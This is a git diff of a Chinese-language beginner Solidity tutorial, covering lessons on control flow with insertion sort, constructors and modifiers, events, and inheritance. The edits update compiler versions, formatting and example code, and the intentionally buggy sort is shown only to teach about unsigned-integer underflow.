+这一讲,我们介绍了Solidity中两个关键字,`constant`(常量)和`immutable`(不变量),让不应该变的变量保持不变。这样的做法能在节省`gas`的同时提升合约的安全性。 diff --git a/10_InsertionSort/InsertionSort.sol b/10_InsertionSort/InsertionSort.sol index 6200e68f5..3f4929378 100644 --- a/10_InsertionSort/InsertionSort.sol +++ b/10_InsertionSort/InsertionSort.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract InsertionSort { // if else function ifElseTest(uint256 _number) public pure returns(bool){ @@ -50,7 +50,6 @@ contract InsertionSort { // 插入排序 错误版 function insertionSortWrong(uint[] memory a) public pure returns(uint[] memory) { - // note that uint can not take negative value for (uint i = 1;i < a.length;i++){ uint temp = a[i]; uint j=i-1; diff --git a/10_InsertionSort/readme.md b/10_InsertionSort/readme.md index a15b9dad8..2a2a79a54 100644 --- a/10_InsertionSort/readme.md +++ b/10_InsertionSort/readme.md @@ -7,154 +7,170 @@ tags: - if-else/for/while/ternary --- -# WTF Solidity极简入门: 10. 控制流,用solidity实现插入排序 +# WTF Solidity极简入门: 10. 控制流,用Solidity实现插入排序 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ -这一讲,我们将介绍`solidity`中的控制流,然后讲如何用`solidity`实现插入排序(`InsertionSort`),一个看起来简单,但实际上很容易写出`bug`的程序。 +--- +这一讲,我们将介绍`Solidity`中的控制流,然后讲如何用`Solidity`实现插入排序(`InsertionSort`),一个看起来简单,但实际上很容易写出`bug`的程序。 ## 控制流 + `Solidity`的控制流与其他语言类似,主要包含以下几种: 1. `if-else` -```solidity -function ifElseTest(uint256 _number) public pure returns(bool){ - if(_number == 0){ - return(true); - }else{ - return(false); + ```solidity + function ifElseTest(uint256 _number) public pure returns(bool){ + if(_number == 0){ + return(true); + }else{ + return(false); + } } -} -``` + ``` + 2. `for循环` -```solidity -function forLoopTest() public pure returns(uint256){ - uint sum = 0; - for(uint i = 0; i < 10; i++){ - sum += i; + ```solidity + function forLoopTest() public pure returns(uint256){ + uint sum = 0; + for(uint i = 0; i < 10; i++){ + sum += i; + } + return(sum); } - return(sum); -} -``` + ``` + 3. `while循环` -```solidity -function whileTest() public pure returns(uint256){ - uint sum = 0; - uint i = 0; - while(i < 10){ - sum += i; - i++; + ```solidity + function whileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + while(i < 10){ + sum += i; + i++; + } + return(sum); } - return(sum); -} -``` + ``` + 4. `do-while循环` -```solidity -function doWhileTest() public pure returns(uint256){ - uint sum = 0; - uint i = 0; - do{ - sum += i; - i++; - }while(i < 10); - return(sum); -} -``` + ```solidity + function doWhileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + do{ + sum += i; + i++; + }while(i < 10); + return(sum); + } + ``` 5. `三元运算符` -三元运算符是`solidity`中唯一一个接受三个操作数的运算符,规则`条件? 条件为真的表达式:条件为假的表达式`。 此运算符经常用作 if 语句的快捷方式。 -```solidity -// 三元运算符 ternary/conditional operator -function ternaryTest(uint256 x, uint256 y) public pure returns(uint256){ - // return the max of x and y - return x >= y ? x: y; -} -``` + 三元运算符是`Solidity`中唯一一个接受三个操作数的运算符,规则`条件? 条件为真的表达式:条件为假的表达式`。此运算符经常用作`if`语句的快捷方式。 + + ```solidity + // 三元运算符 ternary/conditional operator + function ternaryTest(uint256 x, uint256 y) public pure returns(uint256){ + // return the max of x and y + return x >= y ? x: y; + } + ``` 另外还有`continue`(立即进入下一个循环)和`break`(跳出当前循环)关键字可以使用。 -## 用`solidity`实现插入排序 -### 写在前面:90%以上的人用`solidity`写插入算法都会出错。 +## 用`Solidity`实现插入排序 + +**写在前面:90%以上的人用`Solidity`写插入算法都会出错。** ### 插入排序 + 排序算法解决的问题是将无序的一组数字,例如`[2, 5, 3, 1]`,从小到大依次排列好。插入排序(`InsertionSort`)是最简单的一种排序算法,也是很多人学习的第一个算法。它的思路很简单,从前往后,依次将每一个数和排在他前面的数字比大小,如果比前面的数字小,就互换位置。示意图: ![插入排序](https://i.pinimg.com/originals/92/b0/34/92b034385c440e08bc8551c97df0a2e3.gif) ### `python`代码 + 我们可以先看一下插入排序的python代码: + ```python # Python program for implementation of Insertion Sort def insertionSort(arr): - for i in range(1, len(arr)): - key = arr[i] - j = i-1 - while j >=0 and key < arr[j] : - arr[j+1] = arr[j] - j -= 1 - arr[j+1] = key + for i in range(1, len(arr)): + key = arr[i] + j = i-1 + while j >=0 and key < arr[j] : + arr[j+1] = arr[j] + j -= 1 + arr[j+1] = key return arr ``` -### 改写成`solidity`后有`BUG`! -一共8行`python`代码就可以完成插入排序,非常简单。那么我们将它改写成`solidity`代码,将函数,变量,循环等等都做了相应的转换,只需要9行代码: + +### 改写成`Solidity`后有`BUG` + +一共8行`python`代码就可以完成插入排序,非常简单。那么我们将它改写成`Solidity`代码,将函数,变量,循环等等都做了相应的转换,只需要9行代码: + ``` solidity // 插入排序 错误版 - function insertionSortWrong(uint[] memory a) public pure returns(uint[] memory) { - - for (uint i = 1;i < a.length;i++){ - uint temp = a[i]; - uint j=i-1; - while( (j >= 0) && (temp < a[j])){ - a[j+1] = a[j]; - j--; - } - a[j+1] = temp; +function insertionSortWrong(uint[] memory a) public pure returns(uint[] memory) { + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i-1; + while( (j >= 0) && (temp < a[j])){ + a[j+1] = a[j]; + j--; } - return(a); + a[j+1] = temp; } + return(a); +} ``` + 那我们把改好的放到`remix`上去跑,输入`[2, 5, 3, 1]`。BOOM!有`bug`!改了半天,没找到`bug`在哪。我又去`google`搜”solidity insertion sort”,然后发现网上用`solidity`写的插入算法教程都是错的,比如:[Sorting in Solidity without Comparison](https://medium.com/coinmonks/sorting-in-solidity-without-comparison-4eb47e04ff0d) Remix decoded output 出现错误内容 + ![10-1](./img/10-1.jpg) -### 正确的solidity插入排序 -花了几个小时,在`Dapp-Learning`社群一个朋友的帮助下,终于找到了`bug`所在。`solidity`中最常用的变量类型是`uint`,也就是正整数,取到负值的话,会报`underflow`错误。而在插入算法中,变量`j`有可能会取到`-1`,引起报错。 +### 正确的Solidity插入排序 + +花了几个小时,在`Dapp-Learning`社群一个朋友的帮助下,终于找到了`bug`所在。`Solidity`中最常用的变量类型是`uint`,也就是正整数,取到负值的话,会报`underflow`错误。而在插入算法中,变量`j`有可能会取到`-1`,引起报错。 这里,我们需要把`j`加1,让它无法取到负值。正确代码: + ```solidity - // 插入排序 正确版 - function insertionSort(uint[] memory a) public pure returns(uint[] memory) { - // note that uint can not take negative value - for (uint i = 1;i < a.length;i++){ - uint temp = a[i]; - uint j=i; - while( (j >= 1) && (temp < a[j-1])){ - a[j] = a[j-1]; - j--; - } - a[j] = temp; +// 插入排序 正确版 +function insertionSort(uint[] memory a) public pure returns(uint[] memory) { + // note that uint can not take negative value + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i; + while( (j >= 1) && (temp < a[j-1])){ + a[j] = a[j-1]; + j--; } - return(a); + a[j] = temp; } + return(a); +} ``` + 运行后的结果: !["输入[2,5,3,1] 输出[1,2,3,5] "](https://images.mirror-media.xyz/publication-images/S-i6rwCMeXoi8eNJ0fRdB.png?height=300&width=554) ## 总结 -这一讲,我们介绍了`solidity`中控制流,并且用`solidity`写了插入排序。看起来很简单,但实际很难。这就是`solidity`,坑很多,每个月都有项目因为这些小`bug`损失几千万甚至上亿美元。掌握好基础,不断练习,才能写出更好的`solidity`代码。 +这一讲,我们介绍了`Solidity`中控制流,并且用`Solidity`写了插入排序。看起来很简单,但实际很难。这就是`Solidity`,坑很多,每个月都有项目因为这些小`bug`损失几千万甚至上亿美元。掌握好基础,不断练习,才能写出更好的`Solidity`代码。 diff --git a/11_Modifier/Owner.sol b/11_Modifier/Owner.sol index 2bde68553..f8b296312 100644 --- a/11_Modifier/Owner.sol +++ b/11_Modifier/Owner.sol @@ -1,12 +1,12 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Owner { address public owner; // 定义owner变量 // 构造函数 - constructor() { - owner = msg.sender; // 在部署合约的时候,将owner设置为部署者的地址 + constructor(address initialOwner) { + owner = initialOwner; // 在部署合约的时候,将owner设置为传入的initialOwner地址 } // 定义modifier diff --git a/11_Modifier/readme.md b/11_Modifier/readme.md index 7a525d6be..dc5093a3e 100644 --- a/11_Modifier/readme.md +++ b/11_Modifier/readme.md @@ -10,32 +10,35 @@ tags: # WTF Solidity极简入门: 11. 构造函数和修饰器 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- -这一讲,我们将用合约权限控制(`Ownable`)的例子介绍`solidity`语言中构造函数(`constructor`)和独有的修饰器(`modifier`)。 +这一讲,我们将用合约权限控制(`Ownable`)的例子介绍`Solidity`语言中构造函数(`constructor`)和独有的修饰器(`modifier`)。 ## 构造函数 + 构造函数(`constructor`)是一种特殊的函数,每个合约可以定义一个,并在部署合约的时候自动运行一次。它可以用来初始化合约的一些参数,例如初始化合约的`owner`地址: + ```solidity - address owner; // 定义owner变量 +address owner; // 定义owner变量 - // 构造函数 - constructor() { - owner = msg.sender; // 在部署合约的时候,将owner设置为部署者的地址 - } +// 构造函数 +constructor(address initialOwner) { + owner = initialOwner; // 在部署合约的时候,将owner设置为传入的initialOwner地址 +} ``` -**注意**⚠️:构造函数在不同的solidity版本中的语法并不一致,在Solidity 0.4.22之前,构造函数不使用 `constructor` 而是使用与合约名同名的函数作为构造函数而使用,由于这种旧写法容易使开发者在书写时发生疏漏(例如合约名叫 `Parents`,构造函数名写成 `parents`),使得构造函数变成普通函数,引发漏洞,所以0.4.22版本及之后,采用了全新的 `constructor` 写法。 +**注意**:构造函数在不同的Solidity版本中的语法并不一致,在Solidity 0.4.22之前,构造函数不使用 `constructor` 而是使用与合约名同名的函数作为构造函数而使用,由于这种旧写法容易使开发者在书写时发生疏漏(例如合约名叫 `Parents`,构造函数名写成 `parents`),使得构造函数变成普通函数,引发漏洞,所以0.4.22版本及之后,采用了全新的 `constructor` 写法。 构造函数的旧写法代码示例: + ```solidity pragma solidity =0.4.21; contract Parents { @@ -44,43 +47,53 @@ contract Parents { } } ``` + ## 修饰器 -修饰器(`modifier`)是`solidity`特有的语法,类似于面向对象编程中的`decorator`,声明函数拥有的特性,并减少代码冗余。它就像钢铁侠的智能盔甲,穿上它的函数会带有某些特定的行为。`modifier`的主要使用场景是运行函数前的检查,例如地址,变量,余额等。 +修饰器(`modifier`)是`Solidity`特有的语法,类似于面向对象编程中的装饰器(`decorator`),声明函数拥有的特性,并减少代码冗余。它就像钢铁侠的智能盔甲,穿上它的函数会带有某些特定的行为。`modifier`的主要使用场景是运行函数前的检查,例如地址,变量,余额等。 ![钢铁侠的modifier](https://images.mirror-media.xyz/publication-images/nVwXsOVmrYu8rqvKKPMpg.jpg?height=630&width=1200) 我们来定义一个叫做onlyOwner的modifier: + ```solidity - // 定义modifier - modifier onlyOwner { - require(msg.sender == owner); // 检查调用者是否为owner地址 - _; // 如果是的话,继续运行函数主体;否则报错并revert交易 - } +// 定义modifier +modifier onlyOwner { + require(msg.sender == owner); // 检查调用者是否为owner地址 + _; // 如果是的话,继续运行函数主体;否则报错并revert交易 +} ``` + 带有`onlyOwner`修饰符的函数只能被`owner`地址调用,比如下面这个例子: + ```solidity - function changeOwner(address _newOwner) external onlyOwner{ - owner = _newOwner; // 只有owner地址运行这个函数,并改变owner - } +function changeOwner(address _newOwner) external onlyOwner{ + owner = _newOwner; // 只有owner地址运行这个函数,并改变owner +} ``` -我们定义了一个`changeOwner`函数,运行他可以改变合约的`owner`,但是由于`onlyOwner`修饰符的存在,只有原先的`owner`可以调用,别人调用就会报错。这也是最常用的控制智能合约权限的方法。 -### OpenZeppelin的Ownable标准实现: -`OpenZeppelin`是一个维护`solidity`标准化代码库的组织,他的`Ownable`标准实现如下: +我们定义了一个`changeOwner`函数,运行它可以改变合约的`owner`,但是由于`onlyOwner`修饰符的存在,只有原先的`owner`可以调用,别人调用就会报错。这也是最常用的控制智能合约权限的方法。 + +### OpenZeppelin的Ownable标准实现 + +`OpenZeppelin`是一个维护`Solidity`标准化代码库的组织,他的`Ownable`标准实现如下: [https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol) ## Remix 演示示例 + 以 `Owner.sol` 为例。 + 1. 在 Remix 上编译部署代码。 2. 点击 `owner` 按钮查看当前 owner 变量。 - ![](img/11-1.jpg) + + ![11-1](img/11-1.jpg) 3. 以 owner 地址的用户身份,调用 `changeOwner` 函数,交易成功。 - ![](img/11-2.jpg) + + ![11-2](img/11-2.jpg) 4. 以非 owner 地址的用户身份,调用 `changeOwner` 函数,交易失败,因为modifier onlyOwner 的检查语句不满足。 - ![](img/11-3.jpg) + ![11-3](img/11-3.jpg) ## 总结 -这一讲,我们介绍了`solidity`中的构造函数和修饰符,并举了一个控制合约权限的`Ownable`合约。 +这一讲,我们介绍了`Solidity`中的构造函数和修饰符,并举了一个控制合约权限的`Ownable`合约。 diff --git a/12_Event/Event.sol b/12_Event/Event.sol index 91e4a7868..589826e87 100644 --- a/12_Event/Event.sol +++ b/12_Event/Event.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Events { // 定义_balances映射变量,记录每个地址的持币数量 mapping(address => uint256) public _balances; diff --git a/12_Event/readme.md b/12_Event/readme.md index d144d7c5d..e18f001a7 100644 --- a/12_Event/readme.md +++ b/12_Event/readme.md @@ -9,66 +9,74 @@ tags: # WTF Solidity极简入门: 12. 事件 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- -这一讲,我们用转账ERC20代币为例来介绍`solidity`中的事件(`event`)。 +这一讲,我们用转账ERC20代币为例来介绍`Solidity`中的事件(`event`)。 ## 事件 + `Solidity`中的事件(`event`)是`EVM`上日志的抽象,它具有两个特点: - 响应:应用程序([`ethers.js`](https://learnblockchain.cn/docs/ethers.js/api-contract.html#id18))可以通过`RPC`接口订阅和监听这些事件,并在前端做响应。 - 经济:事件是`EVM`上比较经济的存储数据的方式,每个大概消耗2,000 `gas`;相比之下,链上存储一个新变量至少需要20,000 `gas`。 ### 声明事件 + 事件的声明由`event`关键字开头,接着是事件名称,括号里面写好事件需要记录的变量类型和变量名。以`ERC20`代币合约的`Transfer`事件为例: + ```solidity event Transfer(address indexed from, address indexed to, uint256 value); ``` + 我们可以看到,`Transfer`事件共记录了3个变量`from`,`to`和`value`,分别对应代币的转账地址,接收地址和转账数量,其中`from`和`to`前面带有`indexed`关键字,他们会保存在以太坊虚拟机日志的`topics`中,方便之后检索。 ### 释放事件 + 我们可以在函数里释放事件。在下面的例子中,每次用`_transfer()`函数进行转账操作的时候,都会释放`Transfer`事件,并记录相应的变量。 + ```solidity - // 定义_transfer函数,执行转账逻辑 - function _transfer( - address from, - address to, - uint256 amount - ) external { +// 定义_transfer函数,执行转账逻辑 +function _transfer( + address from, + address to, + uint256 amount +) external { - _balances[from] = 10000000; // 给转账地址一些初始代币 + _balances[from] = 10000000; // 给转账地址一些初始代币 - _balances[from] -= amount; // from地址减去转账数量 - _balances[to] += amount; // to地址加上转账数量 + _balances[from] -= amount; // from地址减去转账数量 + _balances[to] += amount; // to地址加上转账数量 - // 释放事件 - emit Transfer(from, to, amount); - } + // 释放事件 + emit Transfer(from, to, amount); +} ``` ## EVM日志 `Log` 以太坊虚拟机(EVM)用日志`Log`来存储`Solidity`事件,每条日志记录都包含主题`topics`和数据`data`两部分。 -![](img/12-3.png) +![12-3](img/12-3.png) ### 主题 `topics` -日志的第一部分是主题数组,用于描述事件,长度不能超过`4`。它的第一个元素是事件的签名(哈希)。对于上面的`Transfer`事件,它的签名就是: +日志的第一部分是主题数组,用于描述事件,长度不能超过`4`。它的第一个元素是事件的签名(哈希)。对于上面的`Transfer`事件,它的事件哈希就是: + ```solidity -keccak256("Transfer(addrses,address,uint256)") +keccak256("Transfer(address,address,uint256)") //0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef ``` -除了事件签名,主题还可以包含至多`3`个`indexed`参数,也就是`Transfer`事件中的`from`和`to`。 + +除了事件哈希,主题还可以包含至多`3`个`indexed`参数,也就是`Transfer`事件中的`from`和`to`。 `indexed`标记的参数可以理解为检索事件的索引“键”,方便之后搜索。每个 `indexed` 参数的大小为固定的256比特,如果参数太大了(比如字符串),就会自动计算哈希存储在主题中。 @@ -77,16 +85,20 @@ keccak256("Transfer(addrses,address,uint256)") 事件中不带 `indexed`的参数会被存储在 `data` 部分中,可以理解为事件的“值”。`data` 部分的变量不能被直接检索,但可以存储任意大小的数据。因此一般 `data` 部分可以用来存储复杂的数据结构,例如数组和字符串等等,因为这些数据超过了256比特,即使存储在事件的 `topics` 部分中,也是以哈希的方式存储。另外,`data` 部分的变量在存储上消耗的gas相比于 `topics` 更少。 ## `Remix`演示 + 以 `Event.sol` 合约为例,编译部署。 然后调用 `_transfer` 函数。 -![](img/12-1.jpg) + +![12-1](img/12-1.jpg) 点击右侧的交易查看详情,可以看到日志的具体内容。 -![](img/12-2.jpg) -### 在etherscan上查询事件 -我们尝试用`_transfer()`函数在`Rinkeby`测试网络上转账100代币,可以在`etherscan`上查询到相应的`tx`:[网址](https://rinkeby.etherscan.io/tx/0x8cf87215b23055896d93004112bbd8ab754f081b4491cb48c37592ca8f8a36c7)。 +![12-2](img/12-2.jpg) + +### 在Etherscan上查询事件 + +我们尝试用`_transfer()`函数在`Rinkeby`测试网络上转账100代币,可以在`Etherscan`上查询到相应的`tx`:[网址](https://rinkeby.etherscan.io/tx/0x8cf87215b23055896d93004112bbd8ab754f081b4491cb48c37592ca8f8a36c7)。 点击`Logs`按钮,就能看到事件明细: @@ -95,5 +107,5 @@ keccak256("Transfer(addrses,address,uint256)") `Topics`里面有三个元素,`[0]`是这个事件的哈希,`[1]`和`[2]`是我们定义的两个`indexed`变量的信息,即转账的转出地址和接收地址。`Data`里面是剩下的不带`indexed`的变量,也就是转账数量。 ## 总结 -这一讲,我们介绍了如何使用和查询`solidity`中的事件。很多链上分析工具包括`Nansen`和`Dune Analysis`都是基于事件工作的。 +这一讲,我们介绍了如何使用和查询`Solidity`中的事件。很多链上分析工具包括`Nansen`和`Dune Analysis`都是基于事件工作的。 diff --git a/13_Inheritance/DiamondInheritance.sol b/13_Inheritance/DiamondInheritance.sol index f09facd78..fcd919646 100644 --- a/13_Inheritance/DiamondInheritance.sol +++ b/13_Inheritance/DiamondInheritance.sol @@ -24,6 +24,7 @@ contract God { contract Adam is God { function foo() public virtual override { emit Log("Adam.foo called"); + super.foo(); } function bar() public virtual override { @@ -35,6 +36,7 @@ contract Adam is God { contract Eve is God { function foo() public virtual override { emit Log("Eve.foo called"); + super.foo(); } function bar() public virtual override { diff --git a/13_Inheritance/Inheritance.sol b/13_Inheritance/Inheritance.sol index c92f5503f..83ad1098a 100644 --- a/13_Inheritance/Inheritance.sol +++ b/13_Inheritance/Inheritance.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // 合约继承 contract Yeye { diff --git a/13_Inheritance/ModifierInheritance.sol b/13_Inheritance/ModifierInheritance.sol index 2be3ceea2..39cb40ca7 100644 --- a/13_Inheritance/ModifierInheritance.sol +++ b/13_Inheritance/ModifierInheritance.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Base1 { modifier exactDividedBy2And3(uint _a) virtual { diff --git a/13_Inheritance/readme.md b/13_Inheritance/readme.md index 9bedcc161..6229f0140 100644 --- a/13_Inheritance/readme.md +++ b/13_Inheritance/readme.md @@ -9,32 +9,37 @@ tags: # WTF Solidity极简入门: 13. 继承 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ -这一讲,我们介绍`solidity`中的继承(`inheritance`),包括简单继承,多重继承,以及修饰器(`modifier`)和构造函数(`constructor`)的继承。 +--- +这一讲,我们介绍`Solidity`中的继承(`inheritance`),包括简单继承,多重继承,以及修饰器(`Modifier`)和构造函数(`Constructor`)的继承。 ## 继承 -继承是面向对象编程很重要的组成部分,可以显著减少重复代码。如果把合约看作是对象的话,`solidity`也是面向对象的编程,也支持继承。 + +继承是面向对象编程很重要的组成部分,可以显著减少重复代码。如果把合约看作是对象的话,`Solidity`也是面向对象的编程,也支持继承。 ### 规则 + - `virtual`: 父合约中的函数,如果希望子合约重写,需要加上`virtual`关键字。 - `override`:子合约重写了父合约中的函数,需要加上`override`关键字。 **注意**:用`override`修饰`public`变量,会重写与变量同名的`getter`函数,例如: + ```solidity mapping(address => uint256) public override balanceOf; ``` ### 简单继承 + 我们先写一个简单的爷爷合约`Yeye`,里面包含1个`Log`事件和3个`function`: `hip()`, `pop()`, `yeye()`,输出都是”Yeye”。 + ```solidity contract Yeye { event Log(string msg); @@ -53,7 +58,9 @@ contract Yeye { } } ``` + 我们再定义一个爸爸合约`Baba`,让他继承`Yeye`合约,语法就是`contract Baba is Yeye`,非常直观。在`Baba`合约里,我们重写一下`hip()`和`pop()`这两个函数,加上`override`关键字,并将他们的输出改为`”Baba”`;并且加一个新的函数`baba`,输出也是`”Baba”`。 + ```solidity contract Baba is Yeye{ // 继承两个function: hip()和pop(),输出改为Baba。 @@ -70,10 +77,12 @@ contract Baba is Yeye{ } } ``` + 我们部署合约,可以看到`Baba`合约里有4个函数,其中`hip()`和`pop()`的输出被成功改写成`”Baba”`,而继承来的`yeye()`的输出仍然是`”Yeye”`。 ### 多重继承 -`solidity`的合约可以继承多个合约。规则: + +`Solidity`的合约可以继承多个合约。规则: 1. 继承时要按辈分最高到最低的顺序排。比如我们写一个`Erzi`合约,继承`Yeye`合约和`Baba`合约,那么就要写成`contract Erzi is Yeye, Baba`,而不能写成`contract Erzi is Baba, Yeye`,不然就会报错。 @@ -82,6 +91,7 @@ contract Baba is Yeye{ 3. 重写在多个父合约中都重名的函数时,`override`关键字后面要加上所有父合约名字,例如`override(Yeye, Baba)`。 例子: + ```solidity contract Erzi is Yeye, Baba{ // 继承两个function: hip()和pop(),输出值为Erzi。 @@ -92,11 +102,15 @@ contract Erzi is Yeye, Baba{ function pop() public virtual override(Yeye, Baba) { emit Log("Erzi"); } +} ``` + 我们可以看到,`Erzi`合约里面重写了`hip()`和`pop()`两个函数,将输出改为`”Erzi”`,并且还分别从`Yeye`和`Baba`合约继承了`yeye()`和`baba()`两个函数。 ### 修饰器的继承 + `Solidity`中的修饰器(`Modifier`)同样可以继承,用法与函数继承类似,在相应的地方加`virtual`和`override`关键字即可。 + ```solidity contract Base1 { modifier exactDividedBy2And3(uint _a) virtual { @@ -124,14 +138,16 @@ contract Identifier is Base1 { `Identifier`合约可以直接在代码中使用父合约中的`exactDividedBy2And3`修饰器,也可以利用`override`关键字重写修饰器: ```solidity - modifier exactDividedBy2And3(uint _a) override { - _; - require(_a % 2 == 0 && _a % 3 == 0); - } +modifier exactDividedBy2And3(uint _a) override { + _; + require(_a % 2 == 0 && _a % 3 == 0); +} ``` ### 构造函数的继承 + 子合约有两种方法继承父合约的构造函数。举个简单的例子,父合约`A`里面有一个状态变量`a`,并由构造函数的参数来确定: + ```solidity // 构造函数的继承 abstract contract A { @@ -142,29 +158,36 @@ abstract contract A { } } ``` + 1. 在继承时声明父构造函数的参数,例如:`contract B is A(1)` 2. 在子合约的构造函数中声明构造函数的参数,例如: -```solidity -contract C is A { - constructor(uint _c) A(_c * _c) {} -} -``` + + ```solidity + contract C is A { + constructor(uint _c) A(_c * _c) {} + } + ``` + ### 调用父合约的函数 + 子合约有两种方式调用父合约的函数,直接调用和利用`super`关键字。 -1. 直接调用:子合约可以直接用`父合约名.函数名()`的方式来调用父合约函数,例如`Yeye.pop()`。 -```solidity +1. 直接调用:子合约可以直接用`父合约名.函数名()`的方式来调用父合约函数,例如`Yeye.pop()` + + ```solidity function callParent() public{ Yeye.pop(); } -``` -2. `super`关键字:子合约可以利用`super.函数名()`来调用最近的父合约函数。`solidity`继承关系按声明时从右到左的顺序是:`contract Erzi is Yeye, Baba`,那么`Baba`是最近的父合约,`super.pop()`将调用`Baba.pop()`而不是`Yeye.pop()`: -```solidity + ``` + +2. `super`关键字:子合约可以利用`super.函数名()`来调用最近的父合约函数。`Solidity`继承关系按声明时从右到左的顺序是:`contract Erzi is Yeye, Baba`,那么`Baba`是最近的父合约,`super.pop()`将调用`Baba.pop()`而不是`Yeye.pop()`: + + ```solidity function callParentSuper() public{ // 将调用最近的父合约函数,Baba.pop() super.pop(); } -``` + ``` ### 钻石继承 @@ -201,6 +224,7 @@ contract God { contract Adam is God { function foo() public virtual override { emit Log("Adam.foo called"); + super.foo(); } function bar() public virtual override { @@ -212,7 +236,7 @@ contract Adam is God { contract Eve is God { function foo() public virtual override { emit Log("Eve.foo called"); - Eve.foo(); + super.foo(); } function bar() public virtual override { @@ -235,30 +259,33 @@ contract people is Adam, Eve { 在这个例子中,调用合约`people`中的`super.bar()`会依次调用`Eve`、`Adam`,最后是`God`合约。 -虽然`Eve`、`Adam`都是`God`的子合约,但整个过程中`God`合约只会被调用一次。原因是Solidity借鉴了Python的方式,强制一个由基类构成的DAG(有向无环图)使其保证一个特定的顺序。更多细节你可以查阅[Solidity的官方文档](https://solidity-cn.readthedocs.io/zh/develop/contracts.html?highlight=%E7%BB%A7%E6%89%BF#index-16)。 +虽然`Eve`、`Adam`都是`God`的子合约,但整个过程中`God`合约只会被调用一次。原因是`Solidity`借鉴了Python的方式,强制一个由基类构成的DAG(有向无环图)使其保证一个特定的顺序。更多细节你可以查阅[Solidity的官方文档](https://solidity-cn.readthedocs.io/zh/develop/contracts.html?highlight=%E7%BB%A7%E6%89%BF#index-16)。 ## 在Remix上验证 - 合约简单继承示例, 可以观察到Baba合约多了Yeye的函数 + ![13-1](./img/13-1.png) ![13-2](./img/13-2.png) - 合约多重继承可以参考简单继承的操作步骤来增加部署Erzi合约,然后观察暴露的函数以及尝试调用来查看日志 - 